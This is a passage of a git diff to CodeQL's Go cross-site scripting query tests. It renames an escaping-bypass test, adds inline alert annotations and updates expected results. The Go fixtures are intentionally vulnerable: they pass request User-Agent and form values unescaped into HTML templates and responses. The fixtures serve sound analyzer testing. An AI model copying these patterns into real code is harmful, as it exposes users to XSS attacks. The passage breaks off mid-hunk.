-| HTMLTemplateEscapingPassthrough.go:66:24:66:38 | call to UserAgent | semmle.label | call to UserAgent |
-| HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | semmle.label | g |
-| HTMLTemplateEscapingPassthrough.go:75:17:75:31 | call to UserAgent | semmle.label | call to UserAgent |
-| HTMLTemplateEscapingPassthrough.go:76:38:76:44 | escaped | semmle.label | escaped |
-| HTMLTemplateEscapingPassthrough.go:81:10:81:24 | call to UserAgent | semmle.label | call to UserAgent |
-| HTMLTemplateEscapingPassthrough.go:84:38:84:40 | src | semmle.label | src |
-| HTMLTemplateEscapingPassthrough.go:89:10:89:24 | call to UserAgent | semmle.label | call to UserAgent |
-| HTMLTemplateEscapingPassthrough.go:91:16:91:77 | type conversion | semmle.label | type conversion |
-| HTMLTemplateEscapingPassthrough.go:91:38:91:67 | call to HTMLEscapeString | semmle.label | call to HTMLEscapeString |
-| HTMLTemplateEscapingPassthrough.go:91:64:91:66 | src | semmle.label | src |
-| HTMLTemplateEscapingPassthrough.go:92:38:92:46 | converted | semmle.label | converted |
-subpaths
diff --git a/go/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qlref b/go/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qlref
deleted file mode 100644
index c425b9a445b7..000000000000
--- a/go/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qlref
+++ /dev/null
@@ -1,2 +0,0 @@
-query: experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql
-postprocess: utils/test/PrettyPrintModels.ql
diff --git a/go/ql/test/query-tests/Security/CWE-079/HtmlTemplateEscapingBypassXss.expected b/go/ql/test/query-tests/Security/CWE-079/HtmlTemplateEscapingBypassXss.expected
new file mode 100644
index 000000000000..84099f5dd29e
--- /dev/null
+++ b/go/ql/test/query-tests/Security/CWE-079/HtmlTemplateEscapingBypassXss.expected
@@ -0,0 +1,60 @@
+#select
+| HtmlTemplateEscapingBypassXss.go:28:39:28:39 | a | HtmlTemplateEscapingBypassXss.go:27:26:27:40 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:28:39:28:39 | a | Data from an $@ will not be auto-escaped because it was converted to template.HTML | HtmlTemplateEscapingBypassXss.go:27:26:27:40 | call to UserAgent | untrusted source |
+| HtmlTemplateEscapingBypassXss.go:34:40:34:40 | a | HtmlTemplateEscapingBypassXss.go:33:23:33:37 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:34:40:34:40 | a | Data from an $@ will not be auto-escaped because it was converted to template.HTML | HtmlTemplateEscapingBypassXss.go:33:23:33:37 | call to UserAgent | untrusted source |
+| HtmlTemplateEscapingBypassXss.go:39:40:39:40 | a | HtmlTemplateEscapingBypassXss.go:38:19:38:33 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:39:40:39:40 | a | Data from an $@ will not be auto-escaped because it was converted to template.HTML | HtmlTemplateEscapingBypassXss.go:38:19:38:33 | call to UserAgent | untrusted source |
+| HtmlTemplateEscapingBypassXss.go:45:41:45:41 | c | HtmlTemplateEscapingBypassXss.go:44:29:44:43 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:45:41:45:41 | c | Data from an $@ will not be auto-escaped because it was converted to template.HTMLAttr | HtmlTemplateEscapingBypassXss.go:44:29:44:43 | call to UserAgent | untrusted source |
+| HtmlTemplateEscapingBypassXss.go:49:44:49:44 | d | HtmlTemplateEscapingBypassXss.go:48:23:48:37 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:49:44:49:44 | d | Data from an $@ will not be auto-escaped because it was converted to template.JS | HtmlTemplateEscapingBypassXss.go:48:23:48:37 | call to UserAgent | untrusted source |
+| HtmlTemplateEscapingBypassXss.go:53:44:53:44 | e | HtmlTemplateEscapingBypassXss.go:52:26:52:40 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:53:44:53:44 | e | Data from an $@ will not be auto-escaped because it was converted to template.JSStr | HtmlTemplateEscapingBypassXss.go:52:26:52:40 | call to UserAgent | untrusted source |
+| HtmlTemplateEscapingBypassXss.go:57:38:57:38 | b | HtmlTemplateEscapingBypassXss.go:56:24:56:38 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:57:38:57:38 | b | Data from an $@ will not be auto-escaped because it was converted to template.CSS | HtmlTemplateEscapingBypassXss.go:56:24:56:38 | call to UserAgent | untrusted source |
+| HtmlTemplateEscapingBypassXss.go:61:44:61:44 | f | HtmlTemplateEscapingBypassXss.go:60:27:60:41 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:61:44:61:44 | f | Data from an $@ will not be auto-escaped because it was converted to template.Srcset | HtmlTemplateEscapingBypassXss.go:60:27:60:41 | call to UserAgent | untrusted source |
+| HtmlTemplateEscapingBypassXss.go:65:38:65:38 | g | HtmlTemplateEscapingBypassXss.go:64:24:64:38 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:65:38:65:38 | g | Data from an $@ will not be auto-escaped because it was converted to template.URL | HtmlTemplateEscapingBypassXss.go:64:24:64:38 | call to UserAgent | untrusted source |
+edges
+| HtmlTemplateEscapingBypassXss.go:27:12:27:41 | type conversion | HtmlTemplateEscapingBypassXss.go:28:39:28:39 | a | provenance | |
+| HtmlTemplateEscapingBypassXss.go:27:26:27:40 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:27:12:27:41 | type conversion | provenance | Src:MaD:1 Config |
+| HtmlTemplateEscapingBypassXss.go:33:9:33:38 | type conversion | HtmlTemplateEscapingBypassXss.go:34:40:34:40 | a | provenance | |
+| HtmlTemplateEscapingBypassXss.go:33:23:33:37 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:33:9:33:38 | type conversion | provenance | Src:MaD:1 Config |
+| HtmlTemplateEscapingBypassXss.go:38:9:38:34 | type conversion | HtmlTemplateEscapingBypassXss.go:39:40:39:40 | a | provenance | |
+| HtmlTemplateEscapingBypassXss.go:38:19:38:33 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:38:9:38:34 | type conversion | provenance | Src:MaD:1 Config |
+| HtmlTemplateEscapingBypassXss.go:44:11:44:44 | type conversion | HtmlTemplateEscapingBypassXss.go:45:41:45:41 | c | provenance | |
+| HtmlTemplateEscapingBypassXss.go:44:29:44:43 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:44:11:44:44 | type conversion | provenance | Src:MaD:1 Config |
+| HtmlTemplateEscapingBypassXss.go:48:11:48:38 | type conversion | HtmlTemplateEscapingBypassXss.go:49:44:49:44 | d | provenance | |
+| HtmlTemplateEscapingBypassXss.go:48:23:48:37 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:48:11:48:38 | type conversion | provenance | Src:MaD:1 Config |
+| HtmlTemplateEscapingBypassXss.go:52:11:52:41 | type conversion | HtmlTemplateEscapingBypassXss.go:53:44:53:44 | e | provenance | |
+| HtmlTemplateEscapingBypassXss.go:52:26:52:40 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:52:11:52:41 | type conversion | provenance | Src:MaD:1 Config |
+| HtmlTemplateEscapingBypassXss.go:56:11:56:39 | type conversion | HtmlTemplateEscapingBypassXss.go:57:38:57:38 | b | provenance | |
+| HtmlTemplateEscapingBypassXss.go:56:24:56:38 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:56:11:56:39 | type conversion | provenance | Src:MaD:1 Config |
+| HtmlTemplateEscapingBypassXss.go:60:11:60:42 | type conversion | HtmlTemplateEscapingBypassXss.go:61:44:61:44 | f | provenance | |
+| HtmlTemplateEscapingBypassXss.go:60:27:60:41 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:60:11:60:42 | type conversion | provenance | Src:MaD:1 Config |
+| HtmlTemplateEscapingBypassXss.go:64:11:64:39 | type conversion | HtmlTemplateEscapingBypassXss.go:65:38:65:38 | g | provenance | |
+| HtmlTemplateEscapingBypassXss.go:64:24:64:38 | call to UserAgent | HtmlTemplateEscapingBypassXss.go:64:11:64:39 | type conversion | provenance | Src:MaD:1 Config |
+models
+| 1 | Source: net/http; Request; true; UserAgent; ; ; ReturnValue; remote; manual |
+nodes
+| HtmlTemplateEscapingBypassXss.go:27:12:27:41 | type conversion | semmle.label | type conversion |
+| HtmlTemplateEscapingBypassXss.go:27:26:27:40 | call to UserAgent | semmle.label | call to UserAgent |
+| HtmlTemplateEscapingBypassXss.go:28:39:28:39 | a | semmle.label | a |
+| HtmlTemplateEscapingBypassXss.go:33:9:33:38 | type conversion | semmle.label | type conversion |
+| HtmlTemplateEscapingBypassXss.go:33:23:33:37 | call to UserAgent | semmle.label | call to UserAgent |
+| HtmlTemplateEscapingBypassXss.go:34:40:34:40 | a | semmle.label | a |
+| HtmlTemplateEscapingBypassXss.go:38:9:38:34 | type conversion | semmle.label | type conversion |
+| HtmlTemplateEscapingBypassXss.go:38:19:38:33 | call to UserAgent | semmle.label | call to UserAgent |
+| HtmlTemplateEscapingBypassXss.go:39:40:39:40 | a | semmle.label | a |
+| HtmlTemplateEscapingBypassXss.go:44:11:44:44 | type conversion | semmle.label | type conversion |
+| HtmlTemplateEscapingBypassXss.go:44:29:44:43 | call to UserAgent | semmle.label | call to UserAgent |
+| HtmlTemplateEscapingBypassXss.go:45:41:45:41 | c | semmle.label | c |
+| HtmlTemplateEscapingBypassXss.go:48:11:48:38 | type conversion | semmle.label | type conversion |
+| HtmlTemplateEscapingBypassXss.go:48:23:48:37 | call to UserAgent | semmle.label | call to UserAgent |
+| HtmlTemplateEscapingBypassXss.go:49:44:49:44 | d | semmle.label | d |
+| HtmlTemplateEscapingBypassXss.go:52:11:52:41 | type conversion | semmle.label | type conversion |
+| HtmlTemplateEscapingBypassXss.go:52:26:52:40 | call to UserAgent | semmle.label | call to UserAgent |
+| HtmlTemplateEscapingBypassXss.go:53:44:53:44 | e | semmle.label | e |
+| HtmlTemplateEscapingBypassXss.go:56:11:56:39 | type conversion | semmle.label | type conversion |
+| HtmlTemplateEscapingBypassXss.go:56:24:56:38 | call to UserAgent | semmle.label | call to UserAgent |
+| HtmlTemplateEscapingBypassXss.go:57:38:57:38 | b | semmle.label | b |
+| HtmlTemplateEscapingBypassXss.go:60:11:60:42 | type conversion | semmle.label | type conversion |
+| HtmlTemplateEscapingBypassXss.go:60:27:60:41 | call to UserAgent | semmle.label | call to UserAgent |
+| HtmlTemplateEscapingBypassXss.go:61:44:61:44 | f | semmle.label | f |
+| HtmlTemplateEscapingBypassXss.go:64:11:64:39 | type conversion | semmle.label | type conversion |
+| HtmlTemplateEscapingBypassXss.go:64:24:64:38 | call to UserAgent | semmle.label | call to UserAgent |
+| HtmlTemplateEscapingBypassXss.go:65:38:65:38 | g | semmle.label | g |
+subpaths
diff --git a/go/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.go b/go/ql/test/query-tests/Security/CWE-079/HtmlTemplateEscapingBypassXss.go
similarity index 64%
rename from go/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.go
rename to go/ql/test/query-tests/Security/CWE-079/HtmlTemplateEscapingBypassXss.go
index de353c861cf0..5ff36d0a8bc8 100644
--- a/go/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.go
+++ b/go/ql/test/query-tests/Security/CWE-079/HtmlTemplateEscapingBypassXss.go
@@ -7,8 +7,6 @@ import (
"strconv"
)
-func main() {}
-
func checkError(err error) {
if err != nil {
panic(err)
@@ -26,45 +24,45 @@ func bad(req *http.Request) {
{
{
- var a = template.HTML(req.UserAgent())
- checkError(tmpl.Execute(os.Stdout, a))
+ var a = template.HTML(req.UserAgent()) // $ Source[go/html-template-escaping-bypass-xss]
+ checkError(tmpl.Execute(os.Stdout, a)) // $ Alert[go/html-template-escaping-bypass-xss]
}
{
{
var a template.HTML
- a = template.HTML(req.UserAgent())
- checkError(tmpl.Execute(os.Stdout, a))
+ a = template.HTML(req.UserAgent()) // $ Source[go/html-template-escaping-bypass-xss]
+ checkError(tmpl.Execute(os.Stdout, a)) // $ Alert[go/html-template-escaping-bypass-xss]
}
{
var a HTMLAlias
- a = HTMLAlias(req.UserAgent())
- checkError(tmpl.Execute(os.Stdout, a))
+ a = HTMLAlias(req.UserAgent()) // $ Source[go/html-template-escaping-bypass-xss]
+ checkError(tmpl.Execute(os.Stdout, a)) // $ Alert[go/html-template-escaping-bypass-xss]
}
}
}
{
- var c = template.HTMLAttr(req.UserAgent())
- checkError(tmplTag.Execute(os.Stdout, c))
+ var c = template.HTMLAttr(req.UserAgent()) // $ Source[go/html-template-escaping-bypass-xss]
+ checkError(tmplTag.Execute(os.Stdout, c)) // $ Alert[go/html-template-escaping-bypass-xss]
}
{
- var d = template.JS(req.UserAgent())
- checkError(tmplScript.Execute(os.Stdout, d))
+ var d = template.JS(req.UserAgent()) // $ Source[go/html-template-escaping-bypass-xss]
+ checkError(tmplScript.Execute(os.Stdout, d)) // $ Alert[go/html-template-escaping-bypass-xss]
}
{
- var e = template.JSStr(req.UserAgent())
- checkError(tmplScript.Execute(os.Stdout, e))
+ var e = template.JSStr(req.UserAgent()) // $ Source[go/html-template-escaping-bypass-xss]
+ checkError(tmplScript.Execute(os.Stdout, e)) // $ Alert[go/html-template-escaping-bypass-xss]
}
{
- var b = template.CSS(req.UserAgent())
- checkError(tmpl.Execute(os.Stdout, b))
+ var b = template.CSS(req.UserAgent()) // $ Source[go/html-template-escaping-bypass-xss]
+ checkError(tmpl.Execute(os.Stdout, b)) // $ Alert[go/html-template-escaping-bypass-xss]
}
{
- var f = template.Srcset(req.UserAgent())
- checkError(tmplSrcset.Execute(os.Stdout, f))
+ var f = template.Srcset(req.UserAgent()) // $ Source[go/html-template-escaping-bypass-xss]
+ checkError(tmplSrcset.Execute(os.Stdout, f)) // $ Alert[go/html-template-escaping-bypass-xss]
}
{
- var g = template.URL(req.UserAgent())
- checkError(tmpl.Execute(os.Stdout, g))
+ var g = template.URL(req.UserAgent()) // $ Source[go/html-template-escaping-bypass-xss]
+ checkError(tmpl.Execute(os.Stdout, g)) // $ Alert[go/html-template-escaping-bypass-xss]
}
}
diff --git a/go/ql/test/query-tests/Security/CWE-079/HtmlTemplateEscapingBypassXss.qlref b/go/ql/test/query-tests/Security/CWE-079/HtmlTemplateEscapingBypassXss.qlref
new file mode 100644
index 000000000000..9ea7791dff27
--- /dev/null
+++ b/go/ql/test/query-tests/Security/CWE-079/HtmlTemplateEscapingBypassXss.qlref
@@ -0,0 +1,4 @@
+query: Security/CWE-079/HtmlTemplateEscapingBypassXss.ql
+postprocess:
+ - utils/test/PrettyPrintModels.ql
+ - utils/test/InlineExpectationsTestQuery.ql
diff --git a/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.expected b/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.expected
index 647113f3c6b5..91b39e0e2a04 100644
--- a/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.expected
+++ b/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.expected
@@ -30,10 +30,10 @@ edges
| contenttype.go:73:10:73:28 | call to FormValue | contenttype.go:79:11:79:14 | data | provenance | Src:MaD:8 |
| contenttype.go:88:10:88:28 | call to FormValue | contenttype.go:91:4:91:7 | data | provenance | Src:MaD:8 |
| contenttype.go:113:10:113:28 | call to FormValue | contenttype.go:114:50:114:53 | data | provenance | Src:MaD:8 |
-| reflectedxsstest.go:31:2:31:44 | ... := ...[0] | reflectedxsstest.go:32:34:32:37 | file | provenance | Src:MaD:7 |
+| reflectedxsstest.go:31:2:31:44 | ... := ...[0] | reflectedxsstest.go:32:30:32:33 | file | provenance | Src:MaD:7 |
| reflectedxsstest.go:31:2:31:44 | ... := ...[1] | reflectedxsstest.go:34:46:34:60 | selection of Filename | provenance | Src:MaD:7 |
-| reflectedxsstest.go:32:2:32:38 | ... := ...[0] | reflectedxsstest.go:33:49:33:55 | content | provenance | |
-| reflectedxsstest.go:32:34:32:37 | file | reflectedxsstest.go:32:2:32:38 | ... := ...[0] | provenance | MaD:13 |
+| reflectedxsstest.go:32:2:32:34 | ... := ...[0] | reflectedxsstest.go:33:49:33:55 | content | provenance | |
+| reflectedxsstest.go:32:30:32:33 | file | reflectedxsstest.go:32:2:32:34 | ... := ...[0] | provenance | MaD:13 |
| reflectedxsstest.go:33:17:33:56 | []type{args} [array] | reflectedxsstest.go:33:17:33:56 | call to Sprintf | provenance | MaD:12 |
| reflectedxsstest.go:33:17:33:56 | call to Sprintf | reflectedxsstest.go:33:10:33:57 | type conversion | provenance | |
| reflectedxsstest.go:33:49:33:55 | content | reflectedxsstest.go:33:17:33:56 | []type{args} [array] | provenance | |
@@ -81,7 +81,7 @@ models
| 10 | Source: net/http; Request; true; URL; ; ; ; remote; manual |
| 11 | Source: nhooyr.io/websocket; Conn; true; Read; ; ; ReturnValue[1]; remote; manual |
| 12 | Summary: fmt; ; false; Sprintf; ; ; Argument[1].ArrayElement; ReturnValue; taint; manual |
-| 13 | Summary: io/ioutil; ; false; ReadAll; ; ; Argument[0]; ReturnValue[0]; taint; manual |
+| 13 | Summary: io; ; false; ReadAll; ; ; Argument[0]; ReturnValue[0]; taint; manual |
| 14 | Summary: io; Reader; true; Read; ; ; Argument[receiver]; Argument[0]; taint; manual |
| 15 | Summary: mime/multipart; Part; true; FileName; ; ; Argument[receiver]; ReturnValue; taint; manual |
| 16 | Summary: mime/multipart; Reader; true; NextPart; ; ; Argument[receiver]; ReturnValue[0]; taint; manual |
@@ -108,8 +108,8 @@ nodes
| contenttype.go:114:50:114:53 | data | semmle.label | data |
| reflectedxsstest.go:31:2:31:44 | ... := ...[0] | semmle.label | ... := ...[0] |
| reflectedxsstest.go:31:2:31:44 | ... := ...[1] | semmle.label | ... := ...[1] |
-| reflectedxsstest.go:32:2:32:38 | ... := ...[0] | semmle.label | ... := ...[0] |
-| reflectedxsstest.go:32:34:32:37 | file | semmle.label | file |
+| reflectedxsstest.go:32:2:32:34 | ... := ...[0] | semmle.label | ... := ...[0] |
+| reflectedxsstest.go:32:30:32:33 | file | semmle.label | file |
| reflectedxsstest.go:33:10:33:57 | type conversion | semmle.label | type conversion |
| reflectedxsstest.go:33:17:33:56 | []type{args} [array] | semmle.label | []type{args} [array] |
| reflectedxsstest.go:33:17:33:56 | call to Sprintf | semmle.label | call to Sprintf |
diff --git a/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.go b/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.go
index 43e5e022598c..fe6f5844998c 100644
--- a/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.go
+++ b/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.go
@@ -8,10 +8,10 @@ import (
func serve() {
http.HandleFunc("/user", func(w http.ResponseWriter, r *http.Request) {
r.ParseForm()
- username := r.Form.Get("username")
+ username := r.Form.Get("username") // $ Source[go/reflected-xss]
if !isValidUsername(username) {
// BAD: a request parameter is incorporated without validation into the response
- fmt.Fprintf(w, "%q is an unknown user", username)
+ fmt.Fprintf(w, "%q is an unknown user", username) // $ Alert[go/reflected-xss]
} else {
// TODO: Handle successful login
}
diff --git a/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.qlref b/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.qlref
index 754513d72bb3..e6b791f39fca 100644
--- a/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.qlref
+++ b/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.qlref
@@ -1,2 +1,4 @@
query: Security/CWE-079/ReflectedXss.ql
-postprocess: utils/test/PrettyPrintModels.ql
+postprocess:
+ - utils/test/PrettyPrintModels.ql
+ - utils/test/InlineExpectationsTestQuery.ql
diff --git a/go/ql/test/query-tests/Security/CWE-079/StoredXss.expected b/go/ql/test/query-tests/Security/CWE-079/StoredXss.expected
index 89612f9722b7..4e2958c767e2 100644
--- a/go/ql/test/query-tests/Security/CWE-079/StoredXss.expected
+++ b/go/ql/test/query-tests/Security/CWE-079/StoredXss.expected
@@ -1,9 +1,7 @@
#select
-| StoredXss.go:13:21:13:36 | ...+... | StoredXss.go:13:21:13:31 | call to Name | StoredXss.go:13:21:13:36 | ...+... | Stored cross-site scripting vulnerability due to $@. | StoredXss.go:13:21:13:31 | call to Name | stored value |
| stored.go:30:22:30:25 | name | stored.go:18:3:18:28 | ... := ...[0] | stored.go:30:22:30:25 | name | Stored cross-site scripting vulnerability due to $@. | stored.go:18:3:18:28 | ... := ...[0] | stored value |
| stored.go:61:22:61:25 | path | stored.go:59:30:59:33 | definition of path | stored.go:61:22:61:25 | path | Stored cross-site scripting vulnerability due to $@. | stored.go:59:30:59:33 | definition of path | stored value |
edges
-| StoredXss.go:13:21:13:31 | call to Name | StoredXss.go:13:21:13:36 | ...+... | provenance | |
| stored.go:18:3:18:28 | ... := ...[0] | stored.go:25:14:25:17 | rows | provenance | Src:MaD:1 |
| stored.go:25:14:25:17 | rows | stored.go:25:29:25:33 | &... | provenance | FunctionModel |
| stored.go:25:29:25:33 | &... | stored.go:30:22:30:25 | name | provenance | |
@@ -11,8 +9,6 @@ edges
models
| 1 | Source: database/sql; DB; true; Query; ; ; ReturnValue[0]; database; manual |
nodes
-| StoredXss.go:13:21:13:31 | call to Name | semmle.label | call to Name |
-| StoredXss.go:13:21:13:36 | ...+... | semmle.label | ...+... |
| stored.go:18:3:18:28 | ... := ...[0] | semmle.label | ... := ...[0] |
| stored.go:25:14:25:17 | rows | semmle.label | rows |
| stored.go:25:29:25:33 | &... | semmle.label | &... |
@@ -20,3 +16,5 @@ nodes
| stored.go:59:30:59:33 | definition of path | semmle.label | definition of path |
| stored.go:61:22:61:25 | path | semmle.label | path |
subpaths
+testFailures
+| StoredXss.go:13:39:13:63 | comment | Missing result: Alert[go/stored-xss] |
diff --git a/go/ql/test/query-tests/Security/CWE-079/StoredXss.go b/go/ql/test/query-tests/Security/CWE-079/StoredXss.go
index 008b738f4cae..05e865be886a 100644
--- a/go/ql/test/query-tests/Security/CWE-079/StoredXss.go
+++ b/go/ql/test/query-tests/Security/CWE-079/StoredXss.go
@@ -2,14 +2,14 @@ package main
import (
"io"
- "io/ioutil"
"net/http"
+ "os"
)
func ListFiles(w http.ResponseWriter, r *http.Request) {
- files, _ := ioutil.ReadDir(".")
+ files, _ := os.ReadDir(".")
for _, file := range files {
- io.WriteString(w, file.Name()+"\n")
+ io.WriteString(w, file.Name()+"\n") // $ Alert[go/stored-xss]
}
}
diff --git a/go/ql/test/query-tests/Security/CWE-079/StoredXss.qlref b/go/ql/test/query-tests/Security/CWE-079/StoredXss.qlref
index 66b7d67dd8f3..f47ad25ca9c7 100644
--- a/go/ql/test/query-tests/Security/CWE-079/StoredXss.qlref
+++ b/go/ql/test/query-tests/Security/CWE-079/StoredXss.qlref
@@ -1,2 +1,4 @@
query: Security/CWE-079/StoredXss.ql
-postprocess: utils/test/PrettyPrintModels.ql
+postprocess:
+ - utils/test/PrettyPrintModels.ql
+ - utils/test/InlineExpectationsTestQuery.ql
diff --git a/go/ql/test/query-tests/Security/CWE-079/StoredXssGood.go b/go/ql/test/query-tests/Security/CWE-079/StoredXssGood.go
index 364b98874666..b0f5e936a6a1 100644
--- a/go/ql/test/query-tests/Security/CWE-079/StoredXssGood.go
+++ b/go/ql/test/query-tests/Security/CWE-079/StoredXssGood.go
@@ -4,13 +4,13 @@ import (
"html"
"html/template"
"io"
- "io/ioutil"
"net/http"
+ "os"
)
func ListFiles1(w http.ResponseWriter, r *http.Request) {
var template template.Template
- files, _ := ioutil.ReadDir(".")
+ files, _ := os.ReadDir(".")
for _, file := range files {
io.WriteString(w, html.EscapeString(file.Name())+"\n")
diff --git a/go/ql/test/query-tests/Security/CWE-079/contenttype.go b/go/ql/test/query-tests/Security/CWE-079/contenttype.go
index bb9880cc5769..2800b3eed456 100644
--- a/go/ql/test/query-tests/Security/CWE-079/contenttype.go
+++ b/go/ql/test/query-tests/Security/CWE-079/contenttype.go
@@ -8,13 +8,13 @@ import (
func serve2() {
http.HandleFunc("/echo", func(w http.ResponseWriter, r *http.Request) {
r.ParseForm()
- data := r.Form.Get("data")
+ data := r.Form.Get("data") // $ Source[go/reflected-xss]
// Not OK; direct flow from request body to output.
// The response Content-Type header is derived from a call to
// `http.DetectContentType`, which can be easily manipulated into returning
// `text/html` for XSS.
- w.Write([]byte(data))
+ w.Write([]byte(data)) // $ Alert[go/reflected-xss]
})
http.ListenAndServe(":80", nil)
}
@@ -46,11 +46,11 @@ func serve4() {
func serve5() {
http.HandleFunc("/echo", func(w http.ResponseWriter, r *http.Request) {
r.ParseForm()
- data := r.Form.Get("data")
+ data := r.Form.Get("data") // $ Source[go/reflected-xss]
w.Header().Set("Content-Type", "text/html")
- fmt.Fprintf(w, "Constant: %s", data) // Not OK; the content-type header is explicitly set to html
+ fmt.Fprintf(w, "Constant: %s", data) // $ Alert[go/reflected-xss] // The content-type header is explicitly set to html
})
http.ListenAndServe(":80", nil)
}
@@ -60,8 +60,8 @@ func serve10() {
r.ParseForm()
data := r.Form.Get("data")
- data = r.FormValue("data")
- fmt.Fprintf(w, "\t%s", data) // Not OK
+ data = r.FormValue("data") // $ Source[go/reflected-xss]
+ fmt.Fprintf(w, "\t%s", data) // $ Alert[go/reflected-xss]
})
}
@@ -70,13 +70,13 @@ func serve11() {
r.ParseForm()
data := r.Form.Get("data")
- data = r.FormValue("data")
+ data = r.FormValue("data") // $ Source[go/reflected-xss]
fmt.Fprintf(w, `
%s
-`, data) // Not OK
+